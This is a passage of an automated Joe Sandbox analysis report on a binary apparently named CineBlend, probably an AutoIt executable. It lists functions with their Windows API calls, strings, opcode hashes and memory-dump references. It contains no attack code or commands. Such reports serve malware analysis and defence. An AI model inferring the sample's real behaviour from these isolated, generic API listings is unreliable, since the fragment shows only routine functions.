                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: Window$DestroyMove
                                  • String ID: static
                                  • API String ID: 2139405536-2160076837
                                  • Opcode ID: e7d25e70f585f628af52415a0513dc0895ef74d153d37125679edf3cd087198f
                                  • Instruction ID: 02e0fa7f42204e309eac4f3b838ed510a5e7b4043c84272298c519b2a966bfb4
                                  • Opcode Fuzzy Hash: e7d25e70f585f628af52415a0513dc0895ef74d153d37125679edf3cd087198f
                                  • Instruction Fuzzy Hash: 2C31AD71140604AADB208F28CC90FBB77E8FF48720F00866DF9A587190CB31AD81CB60
                                  Function 00BC4FD5 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 95windowCOMMON
                                  Download Yara Rule
                                  APIs
                                  • SendMessageW.USER32(00000027,00001132,00000000,?), ref: 00BC50BD
                                  • SendMessageW.USER32(?,00001105,00000000,00000000), ref: 00BC50D2
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: MessageSend
                                  • String ID: '
                                  • API String ID: 3850602802-1997036262
                                  • Opcode ID: f2ece742d1499591e3dc48e07515fefc358a82bb821b1f643f94b83ff6850c6e
                                  • Instruction ID: 78cd5d64c3608ae0836562697169a276cc6e3c15a59e3cb94e4e5fb674165c4d
                                  • Opcode Fuzzy Hash: f2ece742d1499591e3dc48e07515fefc358a82bb821b1f643f94b83ff6850c6e
                                  • Instruction Fuzzy Hash: CD31D474A0160A9FDB24CFA9C981FDABBF5FB49300F1040AAE904EB351D771A985CF90
                                  Function 00BC3C8B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72windowCOMMON
                                  Download Yara Rule
                                  APIs
                                  • SendMessageW.USER32(00000000,00000143,00000000,?), ref: 00BC3D18
                                  • SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00BC3D23
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: MessageSend
                                  • String ID: Combobox
                                  • API String ID: 3850602802-2096851135
                                  • Opcode ID: 8f0fc905bc20870c25c0fb18ace5bf70651b350ff5c4202d8a6b7e45906209a0
                                  • Instruction ID: 0359874a8a4e65f5711164f57e3229af51b356679dc135b10b18c434bf0879cc
                                  • Opcode Fuzzy Hash: 8f0fc905bc20870c25c0fb18ace5bf70651b350ff5c4202d8a6b7e45906209a0
                                  • Instruction Fuzzy Hash: C111B2717002086FEF118F54DC80FBF3BEAEB887A4F508169F91597290D6719D518BA0
                                  Function 00BC41AC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 67COMMON
                                  Download Yara Rule
                                  APIs
                                    • Part of subcall function 00B37873: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 00B378B1
                                    • Part of subcall function 00B37873: GetStockObject.GDI32(00000011), ref: 00B378C5
                                    • Part of subcall function 00B37873: SendMessageW.USER32(00000000,00000030,00000000), ref: 00B378CF
                                  • GetWindowRect.USER32(00000000,?), ref: 00BC4216
                                  • GetSysColor.USER32(00000012), ref: 00BC4230
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: Window$ColorCreateMessageObjectRectSendStock
                                  • String ID: static
                                  • API String ID: 1983116058-2160076837
                                  • Opcode ID: da40702ff7c41ef17bc3b0799b31a26951f95aa0a0e440ccd70f8a292c883937
                                  • Instruction ID: 6f7d4016921722c86a100d7cff004d37a330cc082e8f9527dbf3d532bf7d6cdb
                                  • Opcode Fuzzy Hash: da40702ff7c41ef17bc3b0799b31a26951f95aa0a0e440ccd70f8a292c883937
                                  • Instruction Fuzzy Hash: 76112676620209AFDB00DFA8CC46FEA7BE8EB08314F014968F955E7250DB35E850DB60
                                  Function 00BAD763 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66networkCOMMON
                                  Download Yara Rule
                                  APIs
                                  • InternetOpenW.WININET(?,00000000,00000000,00000000,00000000), ref: 00BAD7C2
                                  • InternetSetOptionW.WININET(00000000,00000032,?,00000008), ref: 00BAD7EB
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: Internet$OpenOption
                                  • String ID: <local>
                                  • API String ID: 942729171-4266983199
                                  • Opcode ID: e59c270e1eb90949771548e27cddad7551f7718e340c5476516deb9cd4e5a8dc
                                  • Instruction ID: 1bd3d8ea3c7c80c57af0a3cc8024984faed0b9b20eb9ac71ac72c4b9c4160139
                                  • Opcode Fuzzy Hash: e59c270e1eb90949771548e27cddad7551f7718e340c5476516deb9cd4e5a8dc
                                  • Instruction Fuzzy Hash: 48110271209232BAD73C4B668C89FF7BEDCEB137A4F00426AB50A83480D6708C44C6F0
                                  Function 00B975ED Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 56COMMON
                                  Download Yara Rule
                                  APIs
                                    • Part of subcall function 00B3B329: _wcslen.LIBCMT ref: 00B3B333
                                  • CharUpperBuffW.USER32(?,?,?), ref: 00B9761D
                                  • _wcslen.LIBCMT ref: 00B97629
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: _wcslen$BuffCharUpper
                                  • String ID: STOP
                                  • API String ID: 1256254125-2411985666
                                  • Opcode ID: 971d3d148b3c2d585fd439db7b82604ff18d68c179790ebc87550052570cdab7
                                  • Instruction ID: 405ec62a0381df60f5ce8747124309323e0ee07f5857ba0a88cf5e4a6304c0f6
                                  • Opcode Fuzzy Hash: 971d3d148b3c2d585fd439db7b82604ff18d68c179790ebc87550052570cdab7
                                  • Instruction Fuzzy Hash: E001C032A64A2A8BCF20AEBDCC809BF77F5EB61750B5005B4E821972A5EF31D904C650
                                  Function 00B9262B Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 52windowCOMMON
                                  Download Yara Rule
                                  APIs
                                    • Part of subcall function 00B3B329: _wcslen.LIBCMT ref: 00B3B333
                                    • Part of subcall function 00B945FD: GetClassNameW.USER32(?,?,000000FF), ref: 00B94620
                                  • SendMessageW.USER32(?,000001A2,000000FF,?), ref: 00B92699
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: ClassMessageNameSend_wcslen
                                  • String ID: ComboBox$ListBox
                                  • API String ID: 624084870-1403004172
                                  • Opcode ID: 85316b0b2fb476f58e1120814927e8f997e818b3183a6ccaa34928ef746a9a32
                                  • Instruction ID: 1abb4270763318fe5f37f2a974fb74c7cfb9160b394816d197ab6d2d0a5c8870
                                  • Opcode Fuzzy Hash: 85316b0b2fb476f58e1120814927e8f997e818b3183a6ccaa34928ef746a9a32
                                  • Instruction Fuzzy Hash: 2401B175A00228BBCF04ABA4CC51DFE77E8EF56350F1006AAA932972D5DB31580D8650
                                  Function 00B92525 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50windowCOMMON
                                  Download Yara Rule
                                  APIs
                                    • Part of subcall function 00B3B329: _wcslen.LIBCMT ref: 00B3B333
                                    • Part of subcall function 00B945FD: GetClassNameW.USER32(?,?,000000FF), ref: 00B94620
                                  • SendMessageW.USER32(?,00000180,00000000,?), ref: 00B92593
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: ClassMessageNameSend_wcslen
                                  • String ID: ComboBox$ListBox
                                  • API String ID: 624084870-1403004172
                                  • Opcode ID: 29dea1e9722ce80269e0fdf3a1bdddab674ce6817e6a182866203ef8900f6176
                                  • Instruction ID: 6019532cf6fd2e7f5e9e313ef29db953bf28e50868691eaebabe949a9d8aa186
                                  • Opcode Fuzzy Hash: 29dea1e9722ce80269e0fdf3a1bdddab674ce6817e6a182866203ef8900f6176
                                  • Instruction Fuzzy Hash: D101A775A401087BDF04EB90C962EFE77E8DF65340F6100BA7902A7281DB209E0CC6B1
                                  Function 00B925A9 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 49windowCOMMON
                                  Download Yara Rule
                                  APIs
                                    • Part of subcall function 00B3B329: _wcslen.LIBCMT ref: 00B3B333
                                    • Part of subcall function 00B945FD: GetClassNameW.USER32(?,?,000000FF), ref: 00B94620
                                  • SendMessageW.USER32(?,00000182,?,00000000), ref: 00B92615
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: ClassMessageNameSend_wcslen
                                  • String ID: ComboBox$ListBox
                                  • API String ID: 624084870-1403004172
                                  • Opcode ID: 1eb8173f57a8fe80f533688936c5b9e5429215a7e2fd28c72e76e24a09766972
                                  • Instruction ID: 1736e87225e503a457f72e871b33393db4d0b4188599a3b4c2743b88f542b191
                                  • Opcode Fuzzy Hash: 1eb8173f57a8fe80f533688936c5b9e5429215a7e2fd28c72e76e24a09766972
                                  • Instruction Fuzzy Hash: B301AD75E401087BCF05EBA4C942EFE77E8DB15340F6000BAB902E3282DB619E0996B1
                                  Function 00B926B5 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 46windowCOMMON
                                  Download Yara Rule
                                  APIs
                                    • Part of subcall function 00B3B329: _wcslen.LIBCMT ref: 00B3B333
                                    • Part of subcall function 00B945FD: GetClassNameW.USER32(?,?,000000FF), ref: 00B94620
                                  • SendMessageW.USER32(?,0000018B,00000000,00000000), ref: 00B92720
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: ClassMessageNameSend_wcslen
                                  • String ID: ComboBox$ListBox
                                  • API String ID: 624084870-1403004172
                                  • Opcode ID: 52a6cdbb22c0c05812e2ffc4b27bbcff0a093adf7c145773a1fabd10c6fdd45f
                                  • Instruction ID: 7ea52f91d52ecb5cf7643adc3f1a11245c50d5eb956d61609018d16c2d51f142
                                  • Opcode Fuzzy Hash: 52a6cdbb22c0c05812e2ffc4b27bbcff0a093adf7c145773a1fabd10c6fdd45f
                                  • Instruction Fuzzy Hash: 9DF08175E4021876CB04A7A48C92FFE77E8EF05750F5009B5B922A72C2DB655C0C8660
                                  Function 00B91461 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 28windowCOMMON
                                  Download Yara Rule
                                  APIs
                                  • MessageBoxW.USER32(00000000,Error allocating memory.,AutoIt,00000010), ref: 00B9146F
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: Message
                                  • String ID: AutoIt$Error allocating memory.
                                  • API String ID: 2030045667-4017498283
                                  • Opcode ID: d6b343d064c062118ecdf3b7bc8f50ddc0008736a2dbc27b3a20c4552d0519ad
                                  • Instruction ID: 79f96a2dd470c49c4700f689f509b003f58daae5ae3b34fe93db987200e009a9
                                  • Opcode Fuzzy Hash: d6b343d064c062118ecdf3b7bc8f50ddc0008736a2dbc27b3a20c4552d0519ad
                                  • Instruction Fuzzy Hash: E0E0D832248B1936D2203794AC03F8576C4CF08B52F1148FEFF88655C24EF22450429A
                                  Function 00B510B3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 22COMMON
                                  Download Yara Rule
                                  APIs
                                    • Part of subcall function 00B4FAD4: InitializeCriticalSectionAndSpinCount.KERNEL32(?,00000000,?,00B510E2,?,?,?,00B3100A), ref: 00B4FAD9
                                  • IsDebuggerPresent.KERNEL32(?,?,?,00B3100A), ref: 00B510E6
                                  • OutputDebugStringW.KERNEL32(ERROR : Unable to initialize critical section in CAtlBaseModule,?,?,?,00B3100A), ref: 00B510F5
                                  Strings
                                  • ERROR : Unable to initialize critical section in CAtlBaseModule, xrefs: 00B510F0
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: CountCriticalDebugDebuggerInitializeOutputPresentSectionSpinString
                                  • String ID: ERROR : Unable to initialize critical section in CAtlBaseModule
                                  • API String ID: 55579361-631824599
                                  • Opcode ID: 3258bd425dc8a0ecfef06fcc4def44e29bc5054e10f1a894192c7303a71e2c60
                                  • Instruction ID: 059ee51dbba2735080ce8561b8ef93d1347067eea4418b73025dc7ab5056268f
                                  • Opcode Fuzzy Hash: 3258bd425dc8a0ecfef06fcc4def44e29bc5054e10f1a894192c7303a71e2c60
                                  • Instruction Fuzzy Hash: 86E06D706007518BD320AF28E905746BBE8EF04301F048DEDE885C7291EBB4E448CB91
                                  Function 00BA39D8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 18COMMON
                                  Download Yara Rule
                                  APIs
                                  • GetTempPathW.KERNEL32(00000104,?,00000001), ref: 00BA39F0
                                  • GetTempFileNameW.KERNEL32(?,aut,00000000,?), ref: 00BA3A05
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: Temp$FileNamePath
                                  • String ID: aut
                                  • API String ID: 3285503233-3010740371
                                  • Opcode ID: 04042f48cd7fe6ef5520ec26c896534339aa6559065c44e335f5be64066f3c40
                                  • Instruction ID: b9db8d1a3ae6b885188590c659c6949e948e1dbcf84593216a9a949c0bb2297f
                                  • Opcode Fuzzy Hash: 04042f48cd7fe6ef5520ec26c896534339aa6559065c44e335f5be64066f3c40
                                  • Instruction Fuzzy Hash: 90D05E76540328A7DA20A764DC0EFDBBA6CDB48710F0002E1BA55970A1DEB0DA89CB90
                                  Function 00BC2DBE Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15windowCOMMON
                                  Download Yara Rule
                                  APIs
                                  • FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 00BC2DC8
                                  • PostMessageW.USER32(00000000,00000111,00000197,00000000), ref: 00BC2DDB
                                    • Part of subcall function 00B9F292: Sleep.KERNEL32 ref: 00B9F30A
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: FindMessagePostSleepWindow
                                  • String ID: Shell_TrayWnd
                                  • API String ID: 529655941-2988720461
                                  • Opcode ID: 872803fed89b43e4ed717dced1667b21db77b61fd19660e1f91bf8f4994d8989
                                  • Instruction ID: b009930e2320309b8ff7e58cca68a33e86900bf79b95c3239fc24c9426d088c9
                                  • Opcode Fuzzy Hash: 872803fed89b43e4ed717dced1667b21db77b61fd19660e1f91bf8f4994d8989
                                  • Instruction Fuzzy Hash: ECD0A939394304A7E668B330AC0BFE27A90AB14B10F1008B8B309AB0D0CCA06800C640
                                  Function 00BC2DF2 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15windowCOMMON
                                  Download Yara Rule
                                  APIs
                                  • FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 00BC2E08
                                  • PostMessageW.USER32(00000000), ref: 00BC2E0F
                                    • Part of subcall function 00B9F292: Sleep.KERNEL32 ref: 00B9F30A
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: FindMessagePostSleepWindow
                                  • String ID: Shell_TrayWnd
                                  • API String ID: 529655941-2988720461
                                  • Opcode ID: 5151b1ff6aa28bfff1d1f5a5ece3318f16235911c949a4f6e84112120e4a5049
                                  • Instruction ID: d731bf5938cc698df474922d6b3ce0ab66d5a5e570e724f15190a43eed23fffc
                                  • Opcode Fuzzy Hash: 5151b1ff6aa28bfff1d1f5a5ece3318f16235911c949a4f6e84112120e4a5049
                                  • Instruction Fuzzy Hash: CED0A9393C13046BE668B330AC0BFE27A90AB18B10F1008B8B305EB0D0CCA06800C644
                                  Function 00B6C17D Relevance: 5.1, APIs: 4, Instructions: 139COMMONLIBRARYCODE
                                  Download Yara Rule
                                  APIs
                                  • MultiByteToWideChar.KERNEL32(?,00000009,?,00000000,00000000,?,?,?,00000000,?,?,?,?,?,00000000,?), ref: 00B6C213
                                  • GetLastError.KERNEL32 ref: 00B6C221
                                  • MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 00B6C27C
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: ByteCharMultiWide$ErrorLast
                                  • String ID:
                                  • API String ID: 1717984340-0
                                  • Opcode ID: 751bea58ed0376abdcdc9adf0a7c71a6a346c3e003443a2c58b53ca71c451bbd
                                  • Instruction ID: e9ec2debf7b8603c07f73ea28196f7bd9cda390184f47aabb80c0346573c785e
                                  • Opcode Fuzzy Hash: 751bea58ed0376abdcdc9adf0a7c71a6a346c3e003443a2c58b53ca71c451bbd
                                  • Instruction Fuzzy Hash: F441F330600206AFDB219FE5C894BBABFE5EF15710F2441E9FC99AB1A1DB349D05CB60